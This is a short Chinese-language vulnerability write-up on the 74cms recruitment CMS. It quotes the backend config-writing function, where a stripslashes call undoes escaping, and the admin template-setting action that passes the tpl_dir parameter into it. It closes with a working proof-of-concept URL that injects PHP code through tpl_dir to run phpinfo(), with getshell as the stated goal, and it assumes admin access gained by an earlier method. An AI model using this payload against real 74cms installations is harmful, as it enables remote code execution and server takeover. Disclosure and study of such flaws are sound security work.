前言
没有getshell的审计都是耍流氓。
今天突然灵光闪现,重新看了下74cms,终于拿下了。
正文
在Application/Common/Controller/BackendController.class.php
有这么一段可怕的代码
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = array_merge($config, $new_config);
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
} else {
return false;
}
}
配置文件用return返回var_export,应该是(如果有能绕过,求打脸)挺安全的,所以之前看走眼了。
这里有stripslashes!
全局搜一下 找到
/Application/Admin/Controller/TplController.class.php
public function set(){
$tpl_dir = I('request.tpl_dir','','trim');
$templates_info=$this->_get_templates_info($this->tpl_dir.$tpl_dir."/info.txt");
D('Config')->where(array('name'=>'template_dir'))->setField('value',$tpl_dir);
if(C('qscms_template_dir') != $tpl_dir) D('AdCategory')->ads_init($tpl_dir);
$this->admin_write_log_unify();
$this->update_config(array('DEFAULT_THEME'=>$tpl_dir));
$this->success('设置成功!');
}
poc
用之前的方法登录后台,然后访问
/74cms/index.php?m=Admin&c=Tpl&a=set&tpl_dir=a%27.${phpinfo()}.%27
元宵快乐!